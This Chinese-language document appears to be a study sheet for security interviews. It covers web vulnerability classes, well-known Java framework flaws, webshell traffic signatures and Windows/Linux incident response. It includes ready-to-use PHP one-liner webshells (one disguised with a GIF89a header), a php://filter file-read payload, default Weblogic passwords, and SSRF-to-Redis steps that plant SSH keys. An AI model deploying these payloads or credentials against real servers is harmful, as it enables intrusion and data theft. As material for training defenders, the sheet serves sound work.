一、sql注入分類
**原理:**沒有對用戶輸入項進行驗證和處理直接拼接到查詢語句中
查詢語句中插?惡意SQL代碼傳遞后臺sql服務器分析執行
**從注入參數類型分:**數字型注入、字符型注入
**從注入效果分:**報錯注入、布爾注入、延時注入、聯合注入、堆疊注入、寬字節注入
**從提交方式分:**GET注入、POST注入、HTTP頭注入、COOKIE注入
**報錯注入用到的函數:**updatexml、floor、extractvalue,exp
**布爾盲注用到的函數:**substr,mid,left,right,ascii,ord,char,length
**時間盲注用到的函數:**sleep
SQL注入防御
- 對關鍵函數或字符過濾:union select order by information_schema等
- 下載相關防范注入文件,通過incloude函數包含在網站配置文件里面
- pdo預處理,使用預編譯語句
- 添加白名單來規范輸入驗證方法
- 對客戶端輸入進行控制,限制特殊字符和函數的輸入
SQL注入繞過waf:
- 大小寫雙寫、雙寫關鍵字、空格、
- 使用編碼:unioncode編碼 十六進制編碼 url編碼
- 等價函數:mid,substr(),substring() &&和||> and 和or =號可以用<>因為如果不大于不小于就是等于
SQL注入寫shell條件:
- 知道web服務器的絕對路徑
- 數據庫具有root權限
- secure_file_priv函數 沒有特殊的值
- PHP關閉魔術引號,php主動轉義功能關閉
SQL寫入shell的方式:
通過本地寫入into outfile函數
通過日志寫入需要對 general_log 和 general_log_file 變量進行更改
通過sqlmap --os-shell命令寫入
**二次注入:**后端代碼對用戶輸入的數據進行了轉義,然后在保存到數據庫的時候是沒有進行轉 義,然后再從數據庫當中取出數據的時候,沒有對數據庫中的特殊字符進行轉義和驗證,就可能 形成閉合,導致注入
防御:使用統一編碼格式utf-8對用戶輸入的內容進行驗證過濾
其他常見漏洞
csrf
**原理:**跨站點請求偽造。盜用用戶身份,以用戶的名義發送惡意請求
ssrf
**原理:**利用網絡請求的服務當跳板攻擊內部其他服務
文件包含
**原理:**攻擊者通過操縱應用程序對文件路徑的處理,將惡意文件包含到應用程序中執行
文件上傳
**原理:**對上傳文件無限制后綴以及類型或者處理缺陷、導致越過本身權限向服務器上馬
繞過方法:
上傳特殊可解析后綴
上傳.htaccess(可幫助修改文件擴展名)
.user.ini文件里的意思是:所有的php文件都自動包含指定的文件
后綴大小寫、雙后綴名、空格(黑名單)
MIME、%00截斷、0x00截斷繞過(白名單)
在url中%00表示ascll碼的0 ,而ascii碼的0,表示字符串結束,所以當url中出現%00時就會認為讀取已結束
0x00原理相同
文件頭
xss
**原理:**插入惡意腳本、實現對用戶瀏覽器攻擊
**類型:**存儲、反射、dom
**反射和dom區別:**DOM-XSS是javascript處理輸出、?反射性xss是后臺程序處理
xxe
**原理:**解析用戶傳入的xml
**作用:**內?端?掃描、利?file協議等讀取?件、攻擊內?web應?使?get(struts2等)
二、如何判斷文件上傳一次攻擊
響應包是200,返回的有沒有路徑,請求包的報文內容有沒有上傳木馬,嘗試訪問路徑,能不能執行命令
三、命令執行和代碼執行
**命令執行:**Web應用的腳本代碼在執行命令的時候過濾不嚴,從而注入一段攻擊者能夠控制的代 碼,在服務器上以Web服務的后臺權限遠程執行惡意指令
**原因:**代碼層過濾不嚴,系統的漏洞造成命令注入,調用的第三方組件存在代碼執行漏洞常見執行 函數:exec、shell_exec、system、passthru、popen
**代碼執行:**由于服務器對危險函數過濾不嚴,導致用戶輸入的一些字符串可以被轉換成代碼來執行, 從而造成代碼執行
**原因:**用戶能夠控制函數輸入,存在可執行代碼的危險函數,常見執行函數:eval、assert、 preg_replace()
四、CSRF 和 XSS 和 XXE 有什么區別
XSS是跨站腳本攻擊,用戶提交的數據中可以構造代碼來執行,從而實現竊取用戶信息等攻擊。
修復方式: 對字符實體進行轉義
使用HTTP Only來禁止JavaScript讀取Cookie值
輸入時校驗
瀏覽器與Web應用端采用相同的字符編碼
CSRF是跨站請求偽造攻擊,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認,模仿合法用戶對服務器發起請求 。
修復方式: 篩選出需要防范CSRF的頁面然后嵌入Token
再次輸入密碼
檢驗Referer
XXE是XML外部實體注入攻擊,XML中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。
修復方式: XML解析庫在調用時嚴格禁止對外部實體的解析
五、一些漏洞
shiro是apache的java安全框架,用于執行身份驗證、授權、密碼和會話管理
使用shiro易于理解的API(程序接口),可以快速輕松對應用程序進行保護
Shiro550原理導致shiro反序列化的主要原因就是shiro提供的記住密碼功能
,當用戶打開這個功 能時會在請求包中生成一個cookie,cookie的value值是經過序列化->aes加密->base64加密
后 的字符串,關鍵在于aes加密的秘鑰是默認
的,如果沒有修改這個秘鑰,就會導致反序列化漏洞, 攻擊者可以構造惡意代碼,將惡意代碼序列化-AES加密-base64加密
后傳入cookie,這樣就導致 RCE漏洞。
Shiro 721原理Shrio所使用的cookie里的rememberMe字段采用了AES-128-CBC
的加密模式, 這使得該字段可以被padding oracle
攻擊利用。攻擊者可以使用一個合法有效的rememberMe 的cookie作為前綴來實施POA,然后制造一個特制的rememberMe來執行Java反序列化攻擊。
shrio550和721的區別主要區別
在于Shiro550使用已知默認
密碼,只要有足夠的密碼,不需要 Rememberme的Cookie;Shiro721的AES加密的key為系統隨機生成
,需要利用登錄后的 rememberMe去爆破正確的key值。利用有效的RememberMe Cookie作為Padding Oracle Attack的前綴,再去構造反序列化攻擊。
fastjson反序列化漏洞原理:
fastjson 是一個 有阿里開發的一個開源Java 類庫,可以將 Java 對象轉換為 JSON 格式(序列化),當然它也可以將 JSON 字符串轉換為 Java 對象(反序列化)
1、fastjson提供的反序列化功能允許用戶傳入json格式數據的時候通過@type的value值指定任 意反序列化類名
2、fastjson的反序列化機制會將反序列的類進行實例化對象,并調用該對象的setter和部分getter方法
3、惡意用戶可以構造payload是目標應用的代碼執行流程進入這部分setter和getter方法,如果 這些方法中存在Gadget,就會造成一些安全問題。
4、官方采取黑名單過濾的方法,對反序列化的類名進行校驗,checkAutoType不斷被繞過
log4j2原理:
log4j2是apache下的java應用常見的開源日志庫,是一個就Java的日志記錄工具
Apache Log4j2中存在JNDI注入漏洞
,主要原理是利用log4j2的日志輸出jndi遠程 對象時,調用遠程對象沒做檢查
導致,程序將用戶輸入的數據進行日志記錄時即可觸發該漏洞并可 在目標服務器上執行任意代碼。該漏洞利用過程需要找到一個能觸發遠程加載并應用配置的輸入 點,迫使服務器遠程加載和修改配置的前提下使目標系統通過JNDI遠程獲取數據庫源,觸發攻擊者的惡意代碼
Struts2原理:
將用戶要求按照業務邏輯執行并且返回結果
用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用OGNL表達式 %{value}
進行解析,然后重新填充到對應的表單數據中。
例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value}
對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行
Weblogic:
漏洞描述:
Weblogic Server中的RMI 通信使用T3協議在Weblogic Server和其它Java程序(客戶端或者其它Weblogic Server實例)之間傳輸數據, 服務器實例會跟蹤連接到應用程序的每個Java虛擬機(JVM)中, 并創建T3協議通信連接, 將流量傳輸到Java虛擬機。T3協議在開放WebLogic控制臺端口的應用上默認開啟。攻擊者可以通過T3協議發送惡意的的反序列化數據, 進行反序列化, 實現對存在漏洞的weblogic組件的遠程代碼執行攻擊(開放Weblogic控制臺的7001端口,默認會開啟T3協議服務,T3協議觸發的Weblogic Server WLS Core Components中存在反序列化漏洞,攻擊者可以發送構造的惡意T3協議數據,獲取目標服務器權限。)
遠程攻擊者可利用該漏洞在未授權的情況下發送攻擊數據,通過T3協議(EJB支持遠程訪問,且支持多種協議。這是Web Container和EJB Container的主要區別)在Weblogic Server中執行反序列化操作,利用RMI(遠程方法調用) 機制的缺陷,通過JRMP協議(Java Remote Messaging Protocol:java遠程消息交換協議)達到執行任意反序列化payload的目的。
**T3協議:**用于在Weblogic服務器和其他類型的Java程序之間傳輸信息的協議。Weblogic會跟蹤連接到應用程序的每個Java虛擬機,要將流量傳輸到Java虛擬機,Weblogic會創建一個T3連接。該鏈接會通過消除在網絡之間的多個協議來最大化效率,從而使用較少的操作系統資源。用于T3連接的協議還可以最大限度減少數據包大小,提高傳輸速度。
**RMI:**遠程方法調用
使用協議:JRMP
T3就是對JRMP的優化。Java RMI 的基礎通信協議是 JRMP ,但是也支持開發其他的協議來優 化 RMI 的傳輸,這里的 Weblogic 的 T3 協議就是其優化版本,相比于JRMP協議多了一些特 性。T3協議傳輸過程中就是序列化和反序列化方式
**利用:**將原本存在的序列化內容替換成我們payload的序列化內容,在傳輸完成后,進行反序列 化達成攻擊的目的
Jboss
JBoss是一個基于J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免 費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核 心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
兩種利用方式,第一種是利用未授權訪問
進入JBoss后臺進行文件上傳的漏洞;另一種是利用Java 反序列化
進行遠程代碼執行的漏洞
弱口令漏洞
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
六、webshell管理工具
菜刀
base64加密,php馬有eval,(base64_decode ($POST[z0])),&z0=QGluaV9zZXQ
蟻劍
以 0x 開頭的參數名,@ini_set(“display_errors”,“0”)
冰蝎
1、大量的 content-type:application,content-type 為 application/octet-stream。
2、默認內置 16 個 ua,content-length 請求長度payload 都為定長
3、Accept頭有application/xhtml+xmlapplication/xmlapplication/signed-exchange屬于弱 特征
哥斯拉
1、pass =eval(base64_decode…,pass=加密數據
2、user-agent,accept,accept-language 固定
一共會產生3個 POST 數據包,POST請求報文中參數名都是 pass (即shell的連接密碼),參 數值都是加密數據。
七、windows+Linux應急響應流程
檢查系統賬號安全查看服務器是否有弱口令
遠程管理端口是否對公網
開放
查看服務器是否存在可疑
賬號、新增
賬號
查看服務器是否存在隱藏
賬號、克隆
賬號
檢查異常端口、進程
檢查啟動項、計劃任務、服務
查看可疑文件和目錄
查看webshell創建的時間
Windows入侵排查思路
1.檢查系統賬號
安全 2.查看服務器是否有弱口令,遠程管理端口
(3389)是否對公網開放
(使用 netstat -ano
命令、或者問服務器管理員) 3.lusrmgr.msc(本地用戶和本地用戶組) 快捷命令查 看服務器是否存在可疑賬號
、新增賬號,如有管理員群組的(Administrators)里的新增賬戶, 如有,請立即禁用或刪除掉 4.用 D 盾或者注冊表(regedit)中查看服務器是否存在隱藏賬號、克隆 賬號 5.結合日志,查看管理員登錄時間、用戶名是否存在異常,使用eventvwr.msc打開“事件查
看器”,導出 Windows 日志–安全
,利用 Log Parser 進行分析 6.檢查異常端口、進程 netstat - ano檢查端口連接情況,是否有遠程連接、可疑連接
然后使用 tasklist |findstr PID 進行定位 7. 使用快捷命令 msconfig查看是否存在命名異常的啟動項目, 輸入regedit注冊表
中查看開機啟動項
是否正常,輸入gpedit.msc查看本地組策略,使用services.msc檢查
是否有異常服務 8.檢查系統相關信息 systeminfo查看系統版本以及補丁信息 查找可疑目錄及文件
Linux入侵排查思路
bash的賬戶,正常為/nologin 2.查看本機開啟端口服務信息 netstat -anlutp,然后去查看每個開 啟服務所產生的日志信息 (var/log目錄下)(舉例如何查看mysql日志,首先登錄mysql,然后 使用 show variables like ‘%general_log%’ 查看日志是否開啟和路徑信息) 二、 服務入侵排查 1.使用last命令檢查系統登錄日志,統計ip登錄錯誤次數和登錄情況 2.使用 ls -l 查看 /etc/passwd文件 的修改時間 查看是否有特權用戶 查看網站開啟的端口ss -anlutp 3.使用ps - elf 看UID為0的進程 查看ssh的公鑰是否被修改 4.查看網站根目錄(/var/www)下是否存在可疑 文件 5.查看計劃任務 /etc/crontab 三、異常啟動排查 1.ps -elf 查看進程 2.查看linux 系統服務 /etc/rc.d/init.d 3.查看用戶自定義開機啟動程序 /etc/rc.d/rc.local
應急響應流程
1、收集信息:搜集客戶信息和中毒信息,備份
2、判斷類型:判斷是否是安全事件、是何種安全事件(勒索病毒、挖礦、斷網、ddos等)
3、深入分析:日志分析、進程分析、啟動項分析、樣本分析
4、清理處置:殺掉惡意進程、刪除惡意文件、打補丁、修復文件
5、產出報告:整理并輸出完整的安全事件報告
windows應急
1.查看系統賬號安全
查看服務器是否有弱口令、可疑賬號、隱藏賬號、克隆賬號、遠程管理端口是否對公網開放
win+r(eventwmr.msc)查看系統日志,查看管理員登錄時間、用戶名是否存在異常
2.檢查異常端口、進程
netstat -ano 檢查端口連接情況,是否有遠程連接、可疑連接
tasklist | findstr "PID"根據pid定位進程
使用功能查殺工具
3.啟動項檢查、計劃任務、服務
檢查服務器是否有異常的啟動項,msconfig看一下啟動項是否有可以的啟動
檢查計劃任務,查看計劃任務屬性,可以發現木馬文件的路徑
見擦汗服務自啟動,services.msc注意服務狀態和啟動類型,檢查是否有異常服務
4.檢查系統相關信息
查看系統版本以及補丁信息 systeminfo
查找可以目錄及文件 是否有新建用戶目錄 分析最近打開分析可疑文件 (%UserProfile%\Recent)
5.自動化查殺
使用360 火絨劍 webshell后門可以使用d盾 河馬等
6.日志分析
360星圖日志分析工具 ELK分析平臺
linux應急
1、檢查用戶及密碼文件/etc/passwd、/etc/shadow 是否存在多余帳號,主要看一下帳號后面 是否是 nologin,如果沒有 nologin 就要注意;
2、通過 who 命令查看當前登錄用戶(tty 本地登陸 pts 遠程登錄)、w 命令查看系統信息,想 知道某一時刻用戶的行為、uptime查看登陸多久、多少用戶,負載;
3、修改/etc/profile的文件,在尾部添加相應顯示間、日期、ip、命令腳本代碼,這樣輸入 history命令就會詳細顯示攻擊者 ip、時間歷史命令等;
4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所對應的進程文件路徑, 運行ls -l /proc/ P I D / e x e 或 f i l e / p r o c / PID/exe 或 file /proc/ PID/exe或file/proc/PID/exe($PID 為對應的pid 號);
5、使用ps命令,分析進程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系統當前運行級別,通過運行級別找到/etc/rc.d/rc[0~6].d對應目錄 是否存在可疑文件;
7、看一下crontab定時任務是否存在可疑啟用腳本;
8、使用chkconfig --list 查看是否存在可疑服務;
9、通過grep awk命令分析/var/log/secure安全日志里面是否存在攻擊痕跡;
10、chkrootkit、rkhunter、Clamav 病毒后門查殺工具對 Linux 系統文件查殺;
11、如果有 Web 站點,可通過 D 盾、河馬查殺工具進行查殺或者手工對代碼按腳本木馬關鍵 字、關鍵涵數(evel、system、shell_exec、exec、passthru system、popen)進行查殺 Webshell 后門。
八、windows事件ID
事件ID | 說明 |
---|---|
4624 | 登錄成功 |
4625 | 登錄失敗 |
4634 | 注銷成功 |
4647 | 用戶啟動的注銷 |
4672 | 使用超級用戶(如管理員)進行登錄 |
4720 | 創建用戶 |
九、sql注入
如何判斷是攻擊還是誤報
第一時間去判斷內網還是外網,內網大部分都是172 192 10 如果是內網對內網,大概率是真實業務,很少見打到內網,查詢字段內容,響應包是否是正常業務,看狀態碼判斷攻擊成功
如果是外網,先去看狀態碼 如果是200,微步平臺看是否是惡意ip 先上報封禁,攻擊報文如果是正常業務 那我們對這個業務監控,如果是sql語句攻擊,看里面報文的攻擊語句,比如常見sleep函數延時注入,extractvalue、updatexml函數 的報錯注入,把攻擊行為給客服反饋過去
十、ssrf打redis
ssrf掃描內網,端口6379
是redis
,然后redis未授權漏洞利用
利用dict協議可以掃描開放的端口,探測指紋信息,可以攻擊redis服務 dict://ip:port/info 截獲get請求包和post請求包,再構造成符合gopher協議的請求,從而模擬redis通信
更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh)并設置上傳公鑰的備份文件名字 為authorized_keys,將一開始生成的SSH公鑰寫入authorized_keys文件中。
十一、PHP一句話木馬
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
GIF89a? <script language="php">eval($_REQUEST['mima'])</script>
十二、序列化反序列化及其流量特征
**序列化:**對象轉換為字符串
**反序列化:**字符串轉換為對象
流量特征:
**shiro反序列化:**查看cookie中rememberme字段,惡意命令要從這里傳入。判斷是否有漏洞, 查看返回包set cookie:rememberme=deleteme,驗證失敗返回的標識符。
**fastjson反序列化:**請求報文中查找json格式的數據,重點看有無rmi或者出網的一些行為
**st2-045:**請求頭中的Content-Type字段
十三、常見的設備,出現誤報怎么辦
奇安信天眼,設備類型:全流量,天眼、EDR、全流量告警、態勢感知、APT、蜜罐設備,微步tdp,青藤云HIDS,明御安全網關先去查看設備的完整流量日志等信息確認是否為誤報,誤報那就是規則問題,上報處置,提供規則優化建議
十四、wireshark指令
http contains “關鍵字”
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == "10.1.1.1"ip.srcip.dst
十五、中挖礦病毒怎么解決
首先ps -aux查看進程分析
然后top 分析算力,挖礦用到的算力比較多,對流量進行過濾,含有礦池服務器的流量就是挖礦病毒
最后kill進程,rm掉程序
刪不掉這么辦
先下線,然后檢查挖礦是否有在內網傳播及時下線所有被傳播的主機、上機排查攻擊痕跡、一般 可以從cpu占用情況,可以進程、開放端口、計劃任務、服務項幾個方面排查
將樣本上傳到在線分析平臺,清除挖礦主程序主要就是雙向封禁礦池地址、刪除計劃任務自啟 動、刪服務,結束惡意進程、刪病毒
**刪不掉:**確認一下一下是因為程序在使用,還是權限不夠,更具具體情況采取措施 直接降權,降權到沒有執行權限
十六、拿到webshell不出網情況下怎么辦
reg上傳去正向連接。探測出網協議,如dns,icmp
十七、怎么排查java內存馬
直接利用內存馬檢測工具去找,github也有很多檢測腳本,手工的話可以分析web日志,filter或者listener類型的內存馬,會有大量路徑相同參數不同的url請求,或者頁面不存在但是返回200的請求,分析web.xml文件,內存馬的Filter是動態注冊的,web.xml是沒有配置的,也有可能是中間件漏洞通過代碼執行加載內存馬,這就可以去排查中間件的錯誤日志,像哥斯拉和冰蝎的內存馬也會有跟webshell相似的特征,分析特殊的classloader加載,攻擊者喜歡利用TemplatesImpl和bcel
加載內存馬,因為內存馬是駐留在內存里的,本地無class文件,通過檢測Filter對應的ClassLoader目錄下是否存在class文件來判斷,也可以把內存中所有的Filter的class dump出來,使用工具分析是否存在惡意代碼
十八、蜜罐原理
**創建虛擬環境:**在網絡中創建一個看似易受攻擊的虛擬環境,該環境模擬真實系統的一部分或全 部功能,包括應用程序、服務和操作系統。
**引誘攻擊者:**通過暴露蜜罐的存在,例如通過公開可訪問的IP地址或虛假的網站,吸引攻擊者主 動嘗試入侵、掃描或攻擊蜜罐系統。
**監測和記錄:**一旦攻擊者進入蜜罐系統,蜜罐會記錄攻擊者的行為、攻擊技術和使用的工具。 這些信息對于理解攻擊者的策略和行為非常有價值。
**分析和響應:**通過分析記錄的數據,研究人員可以識別攻擊者的行為模式、漏洞利用方法和漏洞 的目標。
這些信息可以用于改進真實系統的安全性,及時發現和應對新的威脅。 蜜罐的優勢在于能夠提供高質量的攻擊數據和情報
,幫助安全團隊更好地了解攻擊者的行為模式和目的
,加強防御措施并及時應對威脅。
然而,蜜罐也需要專業人員來設計、部署和管理,以確保其安全性和有效性,并避免對真實系統 造成潛在的風險。
十九、內存馬查殺&原理
java內存馬原理
通過在Java虛擬機(JVM)中運行的惡意代碼,實現對被攻擊者系統的遠程控制。其原理是通過在Java虛擬機中注入特定的Java類、變量或方法等Java對象,然后在Java虛擬機中運行這些代碼,實現對受害者機器的遠程控制
java內存馬排查
利用Java Agent技術遍歷所有已經加載到內存中的class。 先判斷是否是內存馬,是則進入內存查殺。
識別
1,filter名字很特別
2,filter優先級是第一位
3,對比web.xml中沒有filter配置
4,特殊classloader加載
5,對應的classloader路徑下沒有class文件
6,Filter的doFilter方法中 有惡意代碼
清除
1、清除內存馬中的Filter的惡意代碼,2、 模擬中間件注銷Filter
二十、常見的危險PHP函數總結
eval() — 把字符串作為PHP代碼執行
語法eval( string $code ) : mixed
把字符串 code 作為PHP代碼執行。
這個函數一般都是攻擊者用的,沒什么人會拿這個放到自己的源碼里面
PHP官方也給出了警告
assert() — 檢查一個斷言是否為 false (把字符串作為PHP代碼執行)
語法
PHP 5
assert( mixed $assertion , string $description = ? ) : bool
PHP 7
assert( mixed $assertion , Throwable $exception = ? ) : bool
assert()會檢查指定的 assertion 并在結果為 false 時采取適當的行動(把字符串 $assertion 作為PHP代碼執行)
preg_replace — 執行一個正則表達式的搜索和替換
語法
preg_replace( mixed $pattern , mixed $replacement , mixed $subject , int KaTeX parse error: Expected 'EOF', got '&' at position 18: …mit = -1 , int &?count = ? ) : mixed
搜索 subject 中匹配 pattern 的部分,以 replacement 進行替換。
/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼
preg_replace("/test/e",$_GET["h"],"jutst test");
如果我們提交 ?h=phpinfo(),/e就會將h參數當做PHP代碼,phpinfo()將會被執行。
引發命令執行的危險函數
system — 執行外部程序,并且顯示輸出
說明
system
( string $command
, int &$return_var
= ? ) : string
同 C 版本的 system()
函數一樣, 本函數執行 command
參數所指定的命令, 并且輸出執行結果。
如果 PHP 運行在服務器模塊中, system()函數還會嘗試在每行輸出完畢之后, 自動刷新 web服務器的輸出緩存。
如果要獲取一個命令未經任何處理的 原始輸出,請使用 passthru()函數。
舉個例子
<?php system("whoami");?>
exec — 執行一個外部程序
exec()執行 command 參數所指定的命令
舉個例子
<?php echo exec("whoami");?>
shell_exec — 通過 shell 環境執行命令,并且將完整的輸出以字 符串的方式返回。
<?php echo shell_exec("whoami");?>
passthru — 執行外部程序并且顯示原始輸出
<?php passthru("whoami");?>
引發文件包含的危險函數
主要作用為包含并運行指定文件。
- include():代碼執行到此函數時才將文件包含進來,發?錯誤時只警告并繼續執行
- include_once():功能和前者一樣,區別在于調用同一文件時,程序只調用一次
- require():立即調用此函數包含文件,發?錯誤時,會輸出錯誤信息 并?即終?程序
- require_once():功能和前者一樣,區別在于調用同一文件時,程序只調用一次
include $file;
在變量 $file 可控的情況下,我們就可以包含任意文件,從而達到 getshell 的目的。
另外,在不同的配置環境下,可以包含不同的文件。
因此又分為遠程文件包含和本地文件包含。
包含函數也能夠讀取任意文件內容,這就需要用到【支持的協議和封裝協議】和【過濾器】。
例如,利用php流filter讀取任意文件
include($_GET[‘file’]);
?file=php://filter/convert.base64-encode/resource=index.php
解釋:?file=php:// 協議 / 過濾器 / 文件
引發文件操作的危險函數
copy
file_get_contents()
highlight_file()
fopen()
read file()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()
任意文件讀取、寫入、刪除往往是上面幾個函數受到了控制(當然還有其他的函數)。 不同的函數在不同的場景有不同的作用和不同的利用手法。
讀取:可以讀取配置等文件,拿到key
寫入:可以寫入shell代碼相關的內容
刪除:可以刪除.lock文件而可以重新安裝覆蓋
更多思路請自行挖掘測試!!
引發信息泄露的危險函數
phpinfo — 輸出關于 PHP 配置的信息
getenv — 獲取一個環境變量的值
get_current_user — 獲取當前 PHP 腳本所有者名稱
getlastmod — 獲取頁面最后修改的時間
ini_get — 獲取一個配置選項的值
glob — 尋找與模式匹配的文件路徑
引發XEE的危險函數
__construct()
addAttribute()
addChild()
asXML()
attributes()
children()
getDocNamespaces()
getName()
getNamespaces()
registerXPathNamespace()
simplexml_import_dom()
simplexml_load_file()
simplexml_load_string()
xpath()
引發反序列化的危險函數
序列化函數:serialize()
反序列化函數:unserialize()
魔術函數:
__construc()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debuginfo()
二十一、Java危險函數
Java命令執行的函數
Runtime類
Runtime類是私有的, 類的對象無法通過這種方式注冊: Runtime r = new Runtime() ;
只能通過靜態方法(getRuntime)獲取: Runtime r = Runtime.getRuntime();
ProcessBuilder類
這種復現本質意義不大,重點是記一下敏感函數,
rce2Servlet.java
ProcessImpl類ProcessImpl類通常是為ProcessBuilder.start()創建新進 程服務的,不能直接去調用。
看到ProcessImpl類構造器私有,所以不能直接對其進行實例化,為了演示可以用反射進行調 用。
在獲取到一個靜態方法后,必須用setAccessible修改它的作用域,否則不能調用。
二十二、如何快速判定xss類型
存儲型xss:
發送?次帶XSS代碼的請求,以后這個??的返回包?都會有XSS代碼
反射型xss:
發送?次帶XSS代碼的請求,只能在當前返回的數據包中發現XSS代碼
dom型xss:
發送?次帶XSS代碼的請求,在返回包?壓根?就找不到XSS代碼的影?
二十三、csrf、ssrf和重放攻擊有什么區別
CSRF是跨站請求偽造攻擊,由客戶端發起
SSRF是服務器端請求偽造,由服務器發起
重放攻擊是將截獲的數據包進?重放,達到身份認證等?的
常見對應端口及服務
設備
安全設備
奇安信天眼
設備類型:全流量
大致使用方法
天眼首頁截圖:
左邊監測控制臺,打開,有告警信息:
分析時覺得IP有問題可以在攻擊IP中搜索
打開告警列表(奇安信網神?):
點擊詳情,顯示如下內容:
微步tdp/tip
TDP的
主頁面:
主要點擊外部攻擊的外部攻擊項
告警主機項,上面可以查詢IP:
內網滲透分析,被攻陷后可以看網絡拓撲:
優勢項:自動識別一些惡意IP,即答:tdp威脅情報發現有利于溯源分析
青藤云HIDS
設備類型:全流量
大致使用方法
主頁面,主機資產,安全臺賬功能,將可疑IP放到里面點擊主機詳情,看是不是內部IP:
點擊入侵事件,查看告警,點擊告警的漏洞名稱,可以跳到類似于天眼的詳情信息頁面
可以查日志,篩選IP/域名/進程進行查詢
優勢項:可以直接發現暴力破解,不需要人工添加規則
明御安全網關
總結優勢
HIDS:對全網信息捕捉
微步:
攻擊發現,會顯示攻擊者畫像 方便溯源分析
威脅情報發現,發現惡意IP
亞信:ei攔截的惡意文件會自動在an中運行檢測生成報告
ddei郵件網關,過濾垃圾郵件,對惡意文件隔離
ddan沙箱(=微步云沙箱):檢測惡意文件,分析惡意樣本,收集攻擊信息,生成行為報告